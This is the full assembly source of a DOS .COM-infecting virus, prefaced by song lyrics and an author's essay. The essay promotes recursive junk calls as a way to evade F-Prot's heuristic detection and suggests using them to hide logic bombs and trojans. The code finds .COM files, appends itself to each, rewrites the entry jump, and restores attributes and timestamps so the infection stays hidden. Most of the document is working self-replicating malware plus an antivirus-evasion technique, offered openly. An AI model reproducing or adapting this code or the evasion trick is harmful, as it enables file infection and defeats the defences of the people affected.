comment # PRE-IGNITION Hey you... Tell me, what's your call name Closed, negative display Engaged on section three The acrid factories You... Putrid perfect product Proper platinum parts Proficient prototypes Steadily spew from these pipes Are you... The prime automaton Christened as YB-1 Hey you... Generated by waste Arid quarry displaced Enviro-mental squeeze Aluminum disease You... Conscious of origin Intention in the wind Atmosphere infected Descendants defected Are you... Novel stroke of design Or relics from this mine Casually, choke, Noxious nourishment Embodied, illicit cure Ground and rock and sand Come crumble tumble down Grinding round The hydraulic wheel Extraction, For ultimate greed Now... hidden from view Surveying stable shifts A feeble groove Unintentional split Then they return to work As if they're not disturbed Cybernetic beings Omniscient regiment Thriving with vigor Incessant loop An assumed order Auspicious tool Frantically, flow Spumous sediment Remedied, neurotic fuse Ground and rock and sand Come crumble tumble down Yonder sound, an echoing gong Disjunction Of their disowned song Now... some are set free Emotions flood their gaze Synthetic breed The pre-ignition phase Pre-ignition Flares up in you Pre-ignition Provokes me too. # ;********************************************************************** ; YB-5 & HANDSOME DICK MANITOBA ; AUTHOR: K”hntark; surgeon: Urnst Kouch ; ; ; Yes, another 'unremarkable' virus . . . it still will put a few more ; dollars in the accounts of the AV industry . . . ;********************************************************************** ;This virus is a simple demonstrator with a series of 'nothing' CALLS ;on virus entry which point to a end segment of recursive code which ;are is sufficient to foil F-Prot's 'heuristic'mode. It's not elegant ;clever or pretty or particularly smart, but it works. However, ;it's clear that such an arrangement of code can quickly make almost ;ANY direct action virus invisible to cursory F-Prot scanning ;which attempts to identify suspicious code on its similarity to viral ;patterns. The utility depends upon circumstance. In practice, ;we find almost no one but virus writers and anti-virus researchers ;use the 'heuristic' features of commercial programs. And very few ;of them actually pay for the software, so it can hardly be considered ;'real world'. By contrast, it has been our experience that few ;administrators or PC herdsmen have the patience or time to interpret ;heuristic analyses across numerous minutely different, yet ;idiosyncratic operating systems and platforms. The 'anti-heuristic' code ;practicality, then, lies - we feel - mostly in disguising direct ; action viruses, ---------> ;logic bombs or trojan programs for quick acts of data mutilation or ;pure harrassment. By looking at the simple implementation in YB-1/ ;Handsome Dick Manitoba virus, it's clear that this kind of disguise ;is barely 5 minutes of work for even the feeblest programmer, hence ;its utility in the above categories. In the long run, it's not ;likely to mean much difference in viral spread, although, ;it may have made a difference if included in the "Goddamn Butterflies" ;virus which was distributed in Telemate shareware packages. Most ;warnings were issued by sysops who had scanned the Telemate programs ;with F-Prot in its 'heuristic' mode, which correctly pointed out ;the nature of the virus infection. Including the outlined code from ;Handsome Dick Manitoba/YB-1, below, in the same "Goddamn Butterflies" ;virus, renders it invisible to scanning under the SAME conditions. ;This particular example does not get past TBScan's heuristic mode ;which works differently than F-Prot. MAIN SEGMENT BYTE ASSUME cs:main,ds:main,ss:nothing ;all part in one segment=com file ORG 100h ;********************************** ; fake host program ;********************************** HOST: db 0E9h,0Ah,00 ;jmp NEAR PTR VIRUS db ' ' db 090h,090h mov ah,4CH mov al,0 int 21H ;terminate normally with dos ;ΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝ ;********************************** ; VIRUS CODE STARTS HERE ;********************************** VIRUS: ;a label for the first byte of the virus call ANTI_HEUR ;30 cents worth of anti-F-Prot type call ANTI_HEUR ;heuristic analysis measures call ANTI_HEUR ;the key is the 'recursive' nature of call ANTI_HEUR ;the code pointed to be the ANTI-HEUR call ANTI_HEUR ;calls. When a certain threshold of call ANTI_HEUR ;interior 'twisting' - bytewise - occurs call ANTI_HEUR ;F-Prot gives up in heuristic mode. call ANTI_HEUR ;It's not elegant, but it's cheap call ANTI_HEUR ;insurance which call ANTI_HEUR ;works. call GET_ENTRY_PT ;<--when call is performed absolute address goes to stack ;in addition, it is unlikely these bytes will GET_ENTRY_PT: ;be used for signature recognition - unless pop si ;someone is criminally stupid. sub si,GET_ENTRY_PT - VIRUS ;fix absolute address ;************************************ ; restore 4 original bytes to file ;************************************ push si ;save si cld ;clear direction flag add si,START_CODE-VIRUS mov di,0100h movsw ;this is shorter & faster than movsw ;mov cx,04 and rep movsb pop si ;restore si call ANTI_HEUR ;another 30 cents worth of anti-F-Prot call ANTI_HEUR call ANTI_HEUR call ANTI_HEUR call ANTI_HEUR call ANTI_HEUR call ANTI_HEUR call ANTI_HEUR call ANTI_HEUR call ANTI_HEUR ;************************************ ; redirect DTA onto virus code ;************************************ lea dx,[si+ DTA - VIRUS] ;put DTA at the end of the virus for now mov ah,1ah ;set new DTA function int 21h ;************************************ ; Routines called from here ;************************************ call FIND_FILE ;get a com file to attack! ;ΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝ EXIT_VIRUS: ;************************************ ; set old DTA address ;************************************ mov ah,1ah mov dx,80h ;fix dta back to return control to int 21h ;host program EXIT_VIRUS2: ;**************************************************************** ; zero out registers for return to ; host program ;**************************************************************** mov si,0100h xor bx,bx xor ax,ax push si ;save return address in stack xor dx,dx xor si,si xor di,di ret ;back to com host ;***************************************************************** ANTI_HEUR: ;25 cents worth of anti-heuristic jmp $ + 2 ;virus strategy. Nothing code call dolt call dolt call dolt call dolt ret ;sufficient to flummox analysis. DOLT: jmp $ + 2 call dolt2 ;by recursively twisting the flow call dolt2 ;of virus instructions until the call dolt2 ;rules of F-Prot are call dolt2 ;by-passed. Actually, you can ret DOLT2: jmp $ + 2 call dolt3 ;probably use much more elegant code, call dolt3 ;but the point to be made is one of call dolt3 ;speed of implementation and simple call dolt3 ;code additions which will not complicate ret ;the work of the virus or necessitate DOLT3: jmp $ + 2 ;altering any of its actual "action" ret ;code ;ΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝ FIND_FILE: lea dx,[si + FILES_TO_INFECT - VIRUS] mov ah,4eh ;do DOS search 1st function mov cx,3fh ;search for any file, with any attributes NEXT_FILE: int 21h jc NO_MO ;return if not zero call CHECK_N_INFECT_FILE ;check file if file found mov ah,4fh ;file no good, find next function jmp NEXT_FILE ;test next file for validity NO_MO: ret ;ΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝ CHECK_N_INFECT_FILE: ;***************** ; 1-OPEN FILE ;***************** lea dx,[ si + FNAME - VIRUS] ;open the file mov ax,3D02h ;r/w access to it int 21h jc NO_GOOD ;error.. quit xchg bx,ax ;bx = file handle ;******************** ; 2-Read 1st 5 bytes ;******************** mov cx,5 ;read first 5 bytes of file lea dx,[si + START_CODE - VIRUS] ;store'em here mov ah,3Fh ;DOS read function int 21h jc NO_GOOD ;error? get next file ;********************* ; 3-CHECK FILE ;********************* mov ax,WORD PTR [si + FSIZE - VIRUS] ;get file's size add ax,FINAL - VIRUS ;add virus size to it jc NO_GOOD ;bigger then 64K:nogood cmp WORD PTR [si + START_CODE - VIRUS],'ZM' ;EXE file? je NO_GOOD ;no? good cmp BYTE PTR [si + START_CODE - VIRUS],0E9H ;compare 1st byte to near jmp jne INFECT ;not a near jmp, file ok cmp BYTE PTR [si + START_CODE+3 - VIRUS],20h ;check for ' ' je NO_GOOD ;file ok .. infect jmp short INFECT ;**************** ; Close File ;**************** NO_GOOD: mov ah,3Eh ;close file handle int 21h ;call real int21h ret ;return INFECT: ;********************************************* ; 4-Get & Save File Attributes ;********************************************* lea dx,[si + FNAME - VIRUS] mov ax,4300h ;get file attributes in cx int 21h ;call real int21h mov WORD PTR [si + ATTR - VIRUS],cx ;save attributes ;********************************************* ; 5-Set attributes ;********************************************* and cx,0FFFFh ;set attributes to normal mov ax,4301h ;set file attributes to cx int 21h ;********************************************* ; 6-Save date and time of file to be infected ;********************************************* mov ax,5700h int 21h mov WORD PTR [si + F_DATE - VIRUS],dx mov WORD PTR [si + F_TIME - VIRUS],cx ;********************* ; 7-set PTR @EOF ;********************* xor cx,cx ;prepare to write virus on file xor dx,dx ;position file pointer,cx:dx = 0 mov ax,4202H int 21h ;********************* ; 8-append virus ;********************* mov dx,si ; start of virus mov cx,FINAL - VIRUS ; write virus to end mov ah,40h ; write to file int 21h ;********************* ; 9-set PTR @BOF ;********************* xor cx,cx xor dx,dx ;position file pointer,cx:dx = 0 mov ax,4200h ;locate pointer at beginning of host int 21h ;****************************************** ; 10-write new 4 bytes to beginning of file ;****************************************** mov ax,WORD PTR [si + FSIZE - VIRUS] sub ax,3 mov WORD PTR [si + START_IMAGE+1 - VIRUS],ax mov cx,4 ;#of bytes to write lea dx,[si+ START_IMAGE - VIRUS] ;ds:dx=pointer of data to write mov ah,40h ;DOS write function int 21h ;call real int21h ;************************************************* ; 11-Restore date and time of file to be infected ;************************************************* mov ax,5701h mov dx,WORD PTR [si + F_DATE - VIRUS] mov cx,WORD PTR [si + F_TIME - VIRUS] int 21h ;************************************************* ; 12-Restore file's attributes ;************************************************* lea dx,[si + FNAME - VIRUS] ;get filename mov cx,[si + ATTR - VIRUS] ;get old attributes mov ax,4301h ;set file attributes to cx int 21h ;**************** ; 13-Close File ;**************** NO_GOOD2: mov ah,3Eh int 21h ret ;infection done! ;ΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝ NAME_AUTHOR db 'YB-1 & Handsome Dick Manitoba / K”hntark' FILES_TO_INFECT db '*.COM',0 START_CODE db 090h,090h,090h,090h,090h ;area to store 5 bytes to w/r from / to file START_IMAGE db 0E9h,0,0,020h INT_21 dd 0 ATTR dw 0 F_DATE dw 0 F_TIME dw 0 DTA db 1Ah dup (?) FSIZE dw 0,0 ;file size storage area FNAME db 13 dup (?) ;area for file path ;ΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝ FINAL: ;label of byte of code to be kept in virus when it moves MAIN ENDS END HOST